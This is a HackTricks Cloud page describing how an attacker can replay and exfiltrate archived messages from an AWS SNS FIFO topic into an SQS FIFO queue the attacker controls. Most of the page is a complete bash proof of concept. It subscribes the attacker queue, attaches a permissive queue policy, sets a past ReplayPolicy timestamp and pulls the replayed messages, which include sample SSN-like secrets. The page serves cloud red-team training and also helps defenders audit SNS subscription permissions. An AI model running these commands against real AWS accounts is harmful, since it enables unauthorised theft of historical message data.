SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription

Reading time: 5 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Abuse of Amazon SNS FIFO topic message archiving to replay and exfiltrate previously published messages to an attacker-controlled SQS FIFO queue by setting the subscription ReplayPolicy.

Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages.
Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope.

Preconditions

SNS FIFO topic with archiving enabled: ArchivePolicy (e.g., { "MessageRetentionPeriod": "2" } for 2 days).
Attacker has permissions to:
- sns:Subscribe on the target topic.
- sns:SetSubscriptionAttributes on the created subscription.
Attacker has an SQS FIFO queue and can attach a queue policy allowing sns:SendMessage from the topic ARN.

Minimum IAM permissions

On topic: sns:Subscribe.
On subscription: sns:SetSubscriptionAttributes.
On queue: sqs:SetQueueAttributes for policy, and queue policy permitting sns:SendMessage from the topic ARN.

Attack: Replay archived messages to attacker SQS FIFO

The attacker subscribes their SQS FIFO queue to the victim SNS FIFO topic, then sets the ReplayPolicy to a timestamp in the past (within the archive retention window). SNS immediately replays matching archived messages to the new subscription and marks them with Replayed=true.

Notes:

The timestamp used in ReplayPolicy must be >= the topic's BeginningArchiveTime. If it's earlier, the API returns Invalid StartingPoint value.
For SNS FIFO Publish, you must specify a MessageGroupId (and either dedup ID or enable ContentBasedDeduplication).

End-to-end CLI POC (us-east-1)

bash

REGION=us-east-1
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
TS_START=$(python3 - << 'PY'
from datetime import datetime, timezone, timedelta
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
PY
)

# 1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
  --cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
  --query TopicArn --output text)

echo "Topic: $TOPIC_ARN"

# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
  aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
    --message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
    --message-group-id g1 >/dev/null
done

# 3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
  --attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
  --attribute-names QueueArn --query Attributes.QueueArn --output text)

cat > /tmp/ht-replay-sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
JSON
# Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
import json, os
print(json.dumps({
  'QueueUrl': os.environ['Q_URL'],
  'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
}))
PY
)"

# 4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
  --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)

echo "Subscription: $SUB_ARN"

# 5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
START=${TS_START}
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi

aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
  --attribute-name ReplayPolicy \
  --attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"

# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
  --max-number-of-messages 10 --wait-time-seconds 10 \
  --message-attribute-names All --attribute-names All

Impact

Potential Impact: An attacker who can subscribe to an SNS FIFO topic with archiving enabled and set ReplayPolicy on their subscription can immediately replay and exfiltrate historical messages published to that topic, not only messages sent after the subscription was created. Delivered messages include a Replayed=true flag in the SNS envelope.

tip